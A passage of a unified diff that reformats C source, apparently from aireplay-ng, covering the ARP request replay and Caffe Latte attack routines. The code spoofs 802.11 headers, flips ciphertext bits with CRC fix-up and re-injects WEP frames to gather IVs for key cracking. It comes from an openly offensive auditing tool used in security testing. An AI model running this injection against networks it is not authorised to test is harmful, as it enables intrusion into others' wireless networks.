-                                 arp[arp_off1].len ) < 0 )
-                    {
-                        free( arp );
-                        fclose( f_cap_out );
-                        return( 1 );
-                    }
-
-                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
-                {
-                    if( send_packet( arp[arp_off1].buf,
-                                    arp[arp_off1].len ) < 0 )
-                    {
-                        free( arp );
-                        fclose( f_cap_out );
-                        return( 1 );
-                    }
-                }
-
-                if( ++arp_off1 >= nb_arp )
-                    arp_off1 = 0;
-            }
-        }
-
-        /* read a frame, and check if it's an ARP request */
-
-        if( opt.s_file == NULL )
-        {
-            gettimeofday( &tv, NULL );
-
-            caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-
-            if( caplen  < 0 )
-            {
-                free( arp );
-                fclose( f_cap_out );
-                return( 1 );
-            }
-            if( caplen == 0 ) continue;
-        }
-        else
-        {
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-            {
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
-            }
-
-            tv.tv_sec  = pkh.tv_sec;
-            tv.tv_usec = pkh.tv_usec;
-
-            n = caplen = pkh.caplen;
-
-            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
-            {
-                printf( "\r\33[KInvalid packet length %d.\n", n );
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-            {
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                /* remove the prism header */
-
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-        }
-
-        nb_pkt_read++;
-
-        /* check if it's a disassociation or deauthentication packet */
-
-        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
-            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
-        {
-            nb_bad_pkt++;
-
-            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
-            {
-                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
-                        "source MAC associated ?\n" );
-
-                tc = time( NULL );
-                nb_bad_pkt = 0;
-            }
-        }
-
-        if( h80211[0] == 0xD4 &&
-            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
-        {
-            nb_ack_pkt++;
-        }
-
-        /* check if it's a potential ARP request */
-
-        opt.f_minlen = opt.f_maxlen = 68;
-
-        if( filter_packet( h80211, caplen ) == 0 )
-            goto add_arp;
-
-        opt.f_minlen = opt.f_maxlen = 86;
-
-        if( filter_packet( h80211, caplen ) == 0 )
-        {
-add_arp:
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                z+=2;
-
-            switch( h80211[1] & 3 )
-            {
-                case  1: /* ToDS */
-                {
-                    /* keep as a ToDS packet */
-
-                    memcpy( h80211 +  4, opt.f_bssid, 6 );
-                    memcpy( h80211 + 10, opt.r_smac,  6 );
-                    memcpy( h80211 + 16, opt.f_dmac,  6 );
-
-                    h80211[1] = 0x41;   /* ToDS & WEP  */
-                }
-                case  2: /* FromDS */
-                {
-                    if( opt.r_fromdsinj )
-                    {
-                        /* keep as a FromDS packet */
-
-                        memcpy( h80211 +  4, opt.f_dmac,  6 );
-                        memcpy( h80211 + 10, opt.f_bssid, 6 );
-                        memcpy( h80211 + 16, opt.r_smac,  6 );
-
-                        h80211[1] = 0x42;   /* FromDS & WEP  */
-                    }
-                    else
-                    {
-                        /* rewrite header to make it a ToDS packet */
-
-                        memcpy( h80211 +  4, opt.f_bssid, 6 );
-                        memcpy( h80211 + 10, opt.r_smac,  6 );
-                        memcpy( h80211 + 16, opt.f_dmac,  6 );
-
-                        h80211[1] = 0x41;   /* ToDS & WEP  */
-                    }
-                }
-            }
-
-            //should be correct already, keep qos/wds status
-//             h80211[0] = 0x08;   /* normal data */
-
-            /* if same IV, perhaps our own packet, skip it */
-
-            for( i = 0; i < nb_arp; i++ )
-            {
-                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
-                    break;
-            }
-
-            if( i < nb_arp )
-                continue;
-
-            if( caplen > 128)
-                continue;
-            /* add the ARP request in the ring buffer */
-
-            nb_arp_tot++;
-
-            /* Ring buffer size: by default: 8 ) */
-
-            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
-            {
-                /* no more room, overwrite oldest entry */
-
-                memcpy( arp[arp_off2].buf, h80211, caplen );
-                arp[arp_off2].len = caplen;
-                arp[arp_off2].hdrlen = z;
-
-                if( ++arp_off2 >= nb_arp )
-                    arp_off2 = 0;
-            } else {
-
-                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
-                    perror( "malloc failed" );
-                    free(arp);
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                memcpy( arp[nb_arp].buf, h80211, caplen );
-                arp[nb_arp].len = caplen;
-                arp[nb_arp].hdrlen = z;
-                nb_arp++;
-
-                pkh.tv_sec  = tv.tv_sec;
-                pkh.tv_usec = tv.tv_usec;
-                pkh.caplen  = caplen;
-                pkh.len     = caplen;
-
-                n = sizeof( pkh );
-
-                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
-                    perror( "fwrite failed" );
-                    free( arp );
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                n = pkh.caplen;
-
-                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
-                    perror( "fwrite failed" );
-                    free( arp );
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                fflush( f_cap_out );
-            }
-        }
-    }
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent)
+				{
+					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+					{
+						free(arp);
+						fclose(f_cap_out);
+						return (1);
+					}
+				}
+
+				if (++arp_off1 >= nb_arp) arp_off1 = 0;
+			}
+		}
+
+		/* read a frame, and check if it's an ARP request */
+
+		if (opt.s_file == NULL)
+		{
+			gettimeofday(&tv, NULL);
+
+			caplen = read_packet(h80211, sizeof(h80211), NULL);
+
+			if (caplen < 0)
+			{
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+			if (caplen == 0) continue;
+		}
+		else
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		/* check if it's a disassociation or deauthentication packet */
+
+		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
+			&& !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_bad_pkt++;
+
+			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
+			{
+				erase_line(0);
+				printf("Notice: got a deauth/disassoc packet. Is the "
+					   "source MAC associated ?\n");
+
+				tc = time(NULL);
+				nb_bad_pkt = 0;
+			}
+		}
+
+		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_ack_pkt++;
+		}
+
+		/* check if it's a potential ARP request */
+
+		opt.f_minlen = opt.f_maxlen = 68;
+
+		if (filter_packet(h80211, caplen) == 0) goto add_arp;
+
+		opt.f_minlen = opt.f_maxlen = 86;
+
+		if (filter_packet(h80211, caplen) == 0)
+		{
+		add_arp:
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			switch (h80211[1] & 3)
+			{
+				case 1: /* ToDS */
+				{
+					/* keep as a ToDS packet */
+
+					memcpy(h80211 + 4, opt.f_bssid, 6);
+					memcpy(h80211 + 10, opt.r_smac, 6);
+					memcpy(h80211 + 16, opt.f_dmac, 6);
+
+					h80211[1] = 0x41; /* ToDS & WEP  */
+				}
+				break;
+				case 2: /* FromDS */
+				{
+					if (opt.r_fromdsinj)
+					{
+						/* keep as a FromDS packet */
+
+						memcpy(h80211 + 4, opt.f_dmac, 6);
+						memcpy(h80211 + 10, opt.f_bssid, 6);
+						memcpy(h80211 + 16, opt.r_smac, 6);
+
+						h80211[1] = 0x42; /* FromDS & WEP  */
+					}
+					else
+					{
+						/* rewrite header to make it a ToDS packet */
+
+						memcpy(h80211 + 4, opt.f_bssid, 6);
+						memcpy(h80211 + 10, opt.r_smac, 6);
+						memcpy(h80211 + 16, opt.f_dmac, 6);
+
+						h80211[1] = 0x41; /* ToDS & WEP  */
+					}
+				}
+				break;
+			}
+
+			// should be correct already, keep qos/wds status
+			//             h80211[0] = 0x08;   /* normal data */
 
-    return( 0 );
+			/* if same IV, perhaps our own packet, skip it */
+
+			for (i = 0; i < nb_arp; i++)
+			{
+				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
+					break;
+			}
+
+			if (i < nb_arp) continue;
+
+			if (caplen > 128) continue;
+			/* add the ARP request in the ring buffer */
+
+			nb_arp_tot++;
+
+			/* Ring buffer size: by default: 8 ) */
+
+			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
+			{
+				/* no more room, overwrite oldest entry */
+
+				memcpy(arp[arp_off2].buf, h80211, caplen);
+				arp[arp_off2].len = caplen;
+				arp[arp_off2].hdrlen = z;
+
+				if (++arp_off2 >= nb_arp) arp_off2 = 0;
+			}
+			else
+			{
+
+				if ((arp[nb_arp].buf = malloc(128)) == NULL)
+				{
+					perror("malloc failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				memcpy(arp[nb_arp].buf, h80211, caplen);
+				arp[nb_arp].len = caplen;
+				arp[nb_arp].hdrlen = z;
+				nb_arp++;
+
+				pkh.tv_sec = tv.tv_sec;
+				pkh.tv_usec = tv.tv_usec;
+				pkh.caplen = caplen;
+				pkh.len = caplen;
+
+				n = sizeof(pkh);
+
+				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				n = pkh.caplen;
+
+				if (fwrite(h80211, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+
+				fflush(f_cap_out);
+			}
+		}
+	}
+
+	return (0);
 }
 
-int do_attack_caffe_latte( void )
+static int do_attack_caffe_latte(void)
 {
-    int nb_bad_pkt;
-    int arp_off1, arp_off2;
-    int i, n, caplen, nb_arp, z;
-    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
-    unsigned char flip[4096];
-
-    time_t tc;
-    float f, ticks[3];
-    struct timeval tv;
-    struct timeval tv2;
-    struct tm *lt;
-
-    FILE *f_cap_out;
-    struct pcap_file_header pfh_out;
-    struct pcap_pkthdr pkh;
-    struct ARP_req * arp;
-
-    /* capture only WEP data to broadcast address */
-
-    opt.f_type    = 2;
-    opt.f_subtype = 0;
-    opt.f_iswep   = 1;
-    opt.f_fromds  = 0;
+	int nb_bad_pkt;
+	int arp_off1, arp_off2;
+	int i, n, caplen, nb_arp, z;
+	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
+	unsigned char flip[4096];
+
+	time_t tc;
+	float f, ticks[3];
+	struct timeval tv;
+	struct timeval tv2;
+	struct tm * lt;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+	struct ARP_req * arp;
+
+	/* capture only WEP data to broadcast address */
+
+	opt.f_type = 2;
+	opt.f_subtype = 0;
+	opt.f_iswep = 1;
+	opt.f_fromds = 0;
 
-    if(getnet(NULL, 1, 1) != 0)
-        return 1;
+	if (getnet(NULL, 1, 1) != 0) return 1;
 
-    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
-    {
-        printf( "Please specify a BSSID (-b).\n" );
-        return( 1 );
-    }
-    /* create and write the output pcap header */
+	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-b).\n");
+		return (1);
+	}
+	/* create and write the output pcap header */
 
-    gettimeofday( &tv, NULL );
+	gettimeofday(&tv, NULL);
 
-    pfh_out.magic         = TCPDUMP_MAGIC;
-    pfh_out.version_major = PCAP_VERSION_MAJOR;
-    pfh_out.version_minor = PCAP_VERSION_MINOR;
-    pfh_out.thiszone      = 0;
-    pfh_out.sigfigs       = 0;
-    pfh_out.snaplen       = 65535;
-    pfh_out.linktype      = LINKTYPE_IEEE802_11;
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
 
-    lt = localtime( (const time_t *) &tv.tv_sec );
+	printf("Saving ARP requests in %s\n", strbuf);
 
-    memset( strbuf, 0, sizeof( strbuf ) );
-    snprintf( strbuf,  sizeof( strbuf ) - 1,
-              "replay_arp-%02d%02d-%02d%02d%02d.cap",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		return (1);
+	}
 
-    printf( "Saving ARP requests in %s\n", strbuf );
+	n = sizeof(struct pcap_file_header);
 
-    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        return( 1 );
-    }
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		fclose(f_cap_out);
+		return (1);
+	}
 
-    n = sizeof( struct pcap_file_header );
+	fflush(f_cap_out);
 
-    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed\n" );
-        fclose( f_cap_out );
-        return( 1 );
-    }
+	printf("You should also start airodump-ng to capture replies.\n");
 
-    fflush( f_cap_out );
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			fclose(f_cap_out);
+			return (1);
+		}
+	}
 
-    printf( "You should also start airodump-ng to capture replies.\n" );
+	if (opt.ringbuffer)
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+	else
+		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req));
+
+	memset(ticks, 0, sizeof(ticks));
+
+	tc = time(NULL) - 11;
+
+	nb_pkt_read = 0;
+	nb_bad_pkt = 0;
+	nb_ack_pkt = 0;
+	nb_arp = 0;
+	nb_arp_tot = 0;
+	arp_off1 = 0;
+	arp_off2 = 0;
 
-    if(opt.port_in <= 0)
-    {
-        /* avoid blocking on reading the socket */
-        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
-        {
-            perror( "fcntl(O_NONBLOCK) failed" );
-            fclose( f_cap_out );
-            return( 1 );
-        }
-    }
+	while (1)
+	{
+		/* sleep until the next clock tick */
 
-    if ( opt.ringbuffer )
-        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
-    else
-        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );
-
-    memset( ticks, 0, sizeof( ticks ) );
-
-    tc = time( NULL ) - 11;
-
-    nb_pkt_read = 0;
-    nb_bad_pkt  = 0;
-    nb_ack_pkt  = 0;
-    nb_arp      = 0;
-    nb_arp_tot  = 0;
-    arp_off1    = 0;
-    arp_off2    = 0;
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
 
-    while( 1 )
-    {
-        /* sleep until the next clock tick */
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
+				   "sent %lu packets...(%d pps)\r",
+				   nb_pkt_read,
+				   nb_arp_tot,
+				   nb_ack_pkt,
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+		}
 
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                free( arp );
-                fclose( f_cap_out );
-                return( 1 );
-            }
-
-            ticks[0]++;
-            ticks[1]++;
-            ticks[2]++;
-        }
-        else
-        {
-            gettimeofday( &tv,  NULL );
-            usleep( 1000000/RTC_RESOLUTION );
-            gettimeofday( &tv2, NULL );
-
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
-
-            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-        }
-
-        if( ticks[1] > (RTC_RESOLUTION/10) )
-        {
-            ticks[1] = 0;
-            printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), "
-                    "sent %ld packets...(%d pps)\r",
-                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
-            fflush( stdout );
-        }
-
-        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
-        {
-            /* threshold reach, send one frame */
-
-            ticks[2] = 0;
-
-            if( nb_arp > 0 )
-            {
-                if( nb_pkt_sent == 0 )
-                    ticks[0] = 0;
-
-                if( send_packet( arp[arp_off1].buf,
-                                 arp[arp_off1].len ) < 0 )
-                    {
-                        free( arp );
-                        fclose( f_cap_out );
-                        return( 1 );
-                    }
-                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
-                {
-                    if( send_packet( arp[arp_off1].buf,
-                                    arp[arp_off1].len ) < 0 )
-                    {
-                        free( arp );
-                        fclose( f_cap_out );
-                        return( 1 );
-                    }
-                }
-
-                if( ++arp_off1 >= nb_arp )
-                    arp_off1 = 0;
-            }
-        }
-
-        /* read a frame, and check if it's an ARP request */
-
-        if( opt.s_file == NULL )
-        {
-            gettimeofday( &tv, NULL );
-
-            caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-
-            if( caplen  < 0 )
-            {
-                free( arp );
-                fclose( f_cap_out );
-                return( 1 );
-            }
-
-            if( caplen == 0 )
-               continue;
-        }
-        else
-        {
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-            {
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
-            }
-
-            tv.tv_sec  = pkh.tv_sec;
-            tv.tv_usec = pkh.tv_usec;
-
-            n = caplen = pkh.caplen;
-
-            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
-            {
-                printf( "\r\33[KInvalid packet length %d.\n", n );
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-            {
-                opt.s_file = NULL;
-                continue;
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                /* remove the prism header */
-
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, caplen );
-                caplen -= n;
-                memcpy( h80211, tmpbuf + n, caplen );
-            }
-        }
-
-        nb_pkt_read++;
-
-        /* check if it's a disas. or deauth packet */
-
-        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
-            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
-        {
-            nb_bad_pkt++;
-
-            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
-            {
-                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
-                        "source MAC associated ?\n" );
-
-                tc = time( NULL );
-                nb_bad_pkt = 0;
-            }
-        }
-
-        if( h80211[0] == 0xD4 &&
-            ! memcmp( h80211 + 4, opt.f_bssid, 6 ) )
-        {
-            nb_ack_pkt++;
-        }
-
-        /* check if it's a potential ARP request */
-
-        opt.f_minlen = opt.f_maxlen = 68;
-
-        if( filter_packet( h80211, caplen ) == 0 )
-            goto add_arp;
-
-        opt.f_minlen = opt.f_maxlen = 86;
-
-        if( filter_packet( h80211, caplen ) == 0 )
-        {
-add_arp:
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                z+=2;
-
-            switch( h80211[1] & 3 )
-            {
-                case  0: /* ad-hoc */
-                {
-                    if(memcmp(h80211 + 16, BROADCAST, 6) == 0)
-                    {
-                        /* rewrite to an ad-hoc packet */
-
-                        memcpy( h80211 +  4, BROADCAST, 6 );
-                        memcpy( h80211 + 10, opt.r_smac,  6 );
-                        memcpy( h80211 + 16, opt.f_bssid,  6 );
-
-                        h80211[1] = 0x40;   /* WEP  */
-                    }
-                    else
-                    {
-                        nb_arp_tot++;
-                        continue;
-                    }
-
-                    break;
-                }
-                case  1: /* ToDS */
-                {
-                    if(memcmp(h80211 + 16, BROADCAST, 6) == 0)
-                    {
-                        /* rewrite to a FromDS packet */
-
-                        memcpy( h80211 +  4, BROADCAST, 6 );
-                        memcpy( h80211 + 10, opt.f_bssid,  6 );
-                        memcpy( h80211 + 16, opt.f_bssid,  6 );
-
-                        h80211[1] = 0x42;   /* ToDS & WEP  */
-                    }
-                    else
-                    {
-                        nb_arp_tot++;
-                        continue;
-                    }
-
-                    break;
-                }
-                default:
-                    continue;
-            }
-
-//             h80211[0] = 0x08;   /* normal data */
-
-            /* if same IV, perhaps our own packet, skip it */
-
-            for( i = 0; i < nb_arp; i++ )
-            {
-                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
-                    break;
-            }
-
-            if( i < nb_arp )
-                continue;
-
-            if( caplen > 128)
-                continue;
-            /* add the ARP request in the ring buffer */
-
-            nb_arp_tot++;
-
-            /* Ring buffer size: by default: 8 ) */
-
-            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
-                continue;
-            else {
-
-                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
-                    perror( "malloc failed" );
-                    free(arp);
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                memset(flip, 0, 4096);
-
-//                 flip[49-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC
-//                 flip[53-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
-                flip[z+21] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC
-                flip[z+25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
-
-                add_crc32_plain(flip, caplen-z-4-4);
-                for(i=0; i<caplen-z-4; i++)
-                    (h80211+z+4)[i] ^= flip[i];
-
-                memcpy( arp[nb_arp].buf, h80211, caplen );
-                arp[nb_arp].len = caplen;
-                arp[nb_arp].hdrlen = z;
-                nb_arp++;
-
-                pkh.tv_sec  = tv.tv_sec;
-                pkh.tv_usec = tv.tv_usec;
-                pkh.caplen  = caplen;
-                pkh.len     = caplen;
-
-                n = sizeof( pkh );
-
-                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
-                    perror( "fwrite failed" );
-                    free(arp);
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                n = pkh.caplen;
-
-                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
-                    perror( "fwrite failed" );
-                    free(arp);
-                    fclose( f_cap_out );
-                    return( 1 );
-                }
-
-                fflush( f_cap_out );
-            }
-        }
-    }
-    fclose( f_cap_out );
-    return( 0 );
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* threshold reach, send one frame */
+
+			ticks[2] = 0;
+
+			if (nb_arp > 0)
+			{
+				if (nb_pkt_sent == 0) ticks[0] = 0;
+
+				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+				{
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
